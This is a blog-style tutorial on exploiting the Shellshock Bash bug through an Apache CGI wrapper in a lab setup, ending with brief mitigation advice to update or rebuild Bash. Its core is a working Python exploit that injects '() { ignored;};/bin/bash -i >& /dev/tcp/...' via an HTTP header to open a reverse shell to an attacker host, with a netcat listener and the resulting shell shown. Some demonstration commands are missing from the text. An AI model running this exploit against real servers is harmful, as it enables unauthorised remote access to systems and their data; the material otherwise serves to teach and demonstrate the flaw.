As many of you know, Bash suffers from a serious vulnerability. This consists of the incorrect management of environment variables when defining functions in said variables. The problem lies in the fact that Bash continues to read beyond the function, allowing the execution of arbitrary code.
In our test environment, we will set up an Apache server that runs PHP through a wrapper responsible for executing the PHP interpreter. It should be noted that this is not the only attack vector, as many programs operate similarly and are affected in the same way. SSH, Git, for example, could be affected.
First, we check if the installed version of Bash is vulnerable or not:
vulnerable
this is a test
If we are not vulnerable:
this is a test
As an example, we will use Apache to serve a website by executing a CGI in Bash.
The vhost is as follows:
Listen 80
<VirtualHost *:80>
ServerName *
ServerAdmin sys@sys.com
DocumentRoot /var/www/web_pruebas
DirectoryIndex index.php index.html index.htm
ErrorLog "/var/log/apache2/web_pruebas_error.log"
CustomLog /var/log/apache2/web_pruebas_access.log combined
LogLevel debug
SuexecUserGroup web_prueba web_prueba
ScriptAlias /local-bin /var/www/bin/web_pruebas
AddHandler application/x-httpd-php5 php
Action application/x-httpd-php5 /local-bin/badbash.sh
<Directory "/var/www/bin/web_pruebas">
Options -Indexes ExecCGI
Order allow,deny
Allow from all
</Directory>
<Directory "/var/www/web_pruebas">
Options -Indexes ExecCGI FollowSymLinks
AllowOverride All
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
The script that acts as a CGI is as follows:
#!/bin/bash
export PHP_FCGI_CHILDREN=3
exec /var/www/bin/web_pruebas/php-cgi
Now, with an innocent curl, we can make the request:
On the server, we can check that the file with the desired content has been generated on the web server:
-rw——- 1 web_prueba web_prueba 3 sep 25 15:10 /tmp/aa
aa
What happened is that the request was handled by the CGI which saves the User-Agent variable that is a function. As the bash version is vulnerable, it keeps reading even after the function ends ({ :;} this function does nothing) and executes the indicated command.
But the party doesn’t end here, if we work a little harder we can get a shell with the user who runs the vhost. For this, we will use the following Python script:
#! /usr/bin/python
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/PORT>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded", "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
In another console, we leave netcat listening for the connection (it’s even a reverse connection, great!!):
Now we launch our script:
At this moment, bang!! we will have a shell with the permissions of the vhost user in the console where we had netcat listening.
web_prueba@RX3 /var/www/bin/web_pruebas $
NOTE: The attacker will be limited to this user since apache was configured to run with suexec , if not, access to the rest of the vhosts would be obtained.
One way to prevent them from opening the connection through bash would be to recompile it without socket support, as in Gentoo, or installing bash from its sources:
app-shells/bash -net
Anyway, the attacker could perform the attack in two steps, first installing some software like netcat and then making the connection with that software instead of bash or even simpler, uploading a webshell directly.
The most logical thing is to update the bash version.
NOTE: The last version affected by this bug is 4.3!!
In this article, we have seen how something that seemed not to affect us can compromise our systems seriously, so ALWAYS keep your operating systems updated ;)